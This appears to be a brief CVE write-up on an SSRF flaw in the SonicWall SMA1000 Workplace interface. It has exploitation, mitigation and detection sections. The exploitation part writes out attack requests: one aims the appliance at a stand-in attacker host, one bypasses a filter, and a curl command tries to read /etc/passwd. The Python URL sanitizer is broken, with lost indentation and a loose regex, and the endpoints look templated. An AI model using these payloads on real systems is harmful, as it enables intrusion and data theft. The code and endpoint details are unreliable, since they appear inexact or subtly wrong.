SonicWall SMA1000 Appliance, SSRF Vulnerability, CVE-2025-2170 (Critical)

Listen to this Post

How CVE-2025-2170 Works

The SSRF vulnerability in SonicWall SMA1000’s Workplace interface allows unauthenticated attackers to manipulate server-side requests. By crafting malicious HTTP requests, an attacker can bypass input validation and force the appliance to interact with internal systems or external domains. The vulnerability arises due to improper URL handling in the Workplace interface, where user-supplied input is directly processed without sufficient sanitization. Attackers exploit this to perform unauthorized actions, such as scanning internal networks, accessing restricted resources, or triggering outbound connections to attacker-controlled servers.

DailyCVE Form:

Platform: SonicWall SMA1000
Version: Workplace Interface
Vulnerability: SSRF
Severity: Critical
Date: 05/13/2025

What Undercode Say:

Exploitation:

1. Craft Malicious Request:

GET /api/v1/workplace?url=http://attacker.com HTTP/1.1
Host: target-sonicwall

2. Bypass Filters:

GET /api/v1/[email protected] HTTP/1.1

3. Exfiltrate Data:

curl -X POST "http://target/api" -d "url=file:///etc/passwd"

Mitigation:

1. Patch: Apply SonicWall advisory update.

2. Input Validation:

import re
def sanitize_url(url):
if not re.match(r'^https?://(?:[a-z0-9-]+.)example.com', url):
raise ValueError("Invalid URL")

3. Network Controls:

iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

Detection:

1. Log Analysis:

grep "workplace?url=" /var/log/sonicwall/access.log

2. IDS Rule:

alert http any any -> any any (msg:"SMA1000 SSRF Attempt"; content:"workplace?url="; sid:1002170;)

Impact Analysis:

  • Data Leakage: Internal service credentials.
  • Lateral Movement: Exploit chaining via internal APIs.
  • DoS: Abuse internal service loops.
